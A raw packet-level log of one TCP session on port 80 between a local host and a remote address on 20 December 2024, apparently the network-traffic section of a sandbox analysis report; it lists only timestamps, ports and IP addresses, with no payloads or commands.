Dec 20, 2024 21:13:27.339037895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.339515924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.339586020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.339648008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.340595007 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.340714931 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.340827942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.341871977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.341892958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.341968060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.342025995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.342400074 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.343075037 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.343183994 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.343197107 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.343231916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.344265938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.344356060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.344638109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.345426083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.345534086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.345550060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.345633030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.346594095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.346677065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.346822023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.346904039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.347839117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.347917080 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.348047972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.348395109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.348934889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.349067926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.349121094 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.350142956 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.350300074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.350363970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.350452900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.351289988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.351385117 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.351407051 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.351641893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.352509975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.352586031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.352652073 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.353198051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.353667974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.353846073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.353924990 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.354881048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.355003119 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.355079889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.355169058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.356090069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.356194973 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.356518984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.357168913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.357310057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.357381105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.357381105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.358417034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.358499050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.358545065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.358730078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.359571934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.359908104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.360012054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.360719919 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.360851049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.360972881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.361882925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.362078905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.362245083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.362404108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.363094091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.363248110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.363332033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.364264011 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.364396095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.364406109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.364463091 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.365422010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.365554094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.365839958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.366586924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.366729975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.366789103 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.367757082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.367873907 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.367881060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.368091106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.368951082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.369074106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.369087934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.369262934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.370249033 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.370364904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.370421886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.371361971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.371453047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.371532917 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.371808052 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.372495890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.372591019 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.372653961 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.372894049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.373667955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.373796940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.373835087 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.373888016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.374847889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.374960899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.374994040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.375129938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.376030922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.376125097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.376478910 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.377186060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.377345085 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.377365112 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.378396034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.378509045 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.378515959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.378622055 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.379548073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.379621983 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.379857063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.380706072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.380831003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.380842924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.381092072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.381890059 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.381931067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.382008076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.382075071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.383080959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.383183002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.383209944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.383323908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.384263039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.384370089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.384403944 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.384495974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.385416985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.385499001 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.385550022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.385633945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.386676073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.386729002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.386779070 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.387800932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.387887955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.387912989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.388004065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.388973951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.389127016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.389183044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.389374971 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.390153885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.390259027 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.390289068 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.390330076 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.391333103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.391442060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.391448975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.391556025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.392576933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.392672062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.392713070 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.392812967 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.393786907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.393857956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.393898010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.393986940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.394901991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.395004988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.395051003 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.395112038 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.396066904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.396173954 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.396179914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.396217108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.397201061 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.397309065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.397380114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.397380114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.398396015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.398504019 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.398534060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.398607969 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.399599075 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.399674892 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.399765015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.399815083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.400780916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.400862932 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.531219006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.531274080 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.531295061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.531337976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.531457901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.531516075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.531555891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.531647921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.532756090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.532916069 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.532919884 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.533004045 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.533883095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.533971071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.533992052 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.534085989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.535007954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.535079956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.535113096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.535175085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.536334991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.536392927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.536422014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.536483049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.537336111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.537473917 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.537482977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.537595987 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.538522959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.538583040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.538616896 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.538678885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.539700031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.539819002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.539899111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.540862083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.540957928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.540982008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.541026115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.542059898 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.542108059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.542150021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.542334080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.543241024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.543351889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.543412924 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.544414043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.544481993 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.544719934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.544792891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.545569897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.545682907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.545698881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.545737028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.546802998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.546883106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.546911955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.546972036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.547945976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.548059940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.548074961 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.548116922 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.549101114 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.549186945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.549211979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.549276114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.550297976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.550501108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.550565958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.550620079 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.551517963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.551585913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.551718950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.552812099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.552864075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.552923918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.553105116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.554064035 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.554136992 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.554142952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.554219961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.555010080 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.555100918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.555130005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.555166960 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.556191921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.556256056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.556257963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.556314945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.557374001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.557490110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.557507992 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.557559967 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.558651924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.558748960 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.558795929 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.558795929 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.559820890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.559859037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.559931040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.559998035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.560890913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.560960054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.561033964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.561125994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.562150002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.562249899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.562395096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.562453985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.563254118 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.563304901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.563352108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.563412905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.564527988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.564604044 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.564640999 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.564692020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.565591097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.565668106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.565876007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.566008091 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.566787958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.566876888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.566905975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.566997051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.567959070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.568051100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.568116903 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.568288088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.569178104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.569284916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.569355965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.569355965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.570347071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.570434093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.570452929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.570599079 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.571549892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.571731091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.571916103 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.572748899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.572761059 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:27.572963953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:27.573889017 CET	80	49887	31.41.244.11	192.168.2.6
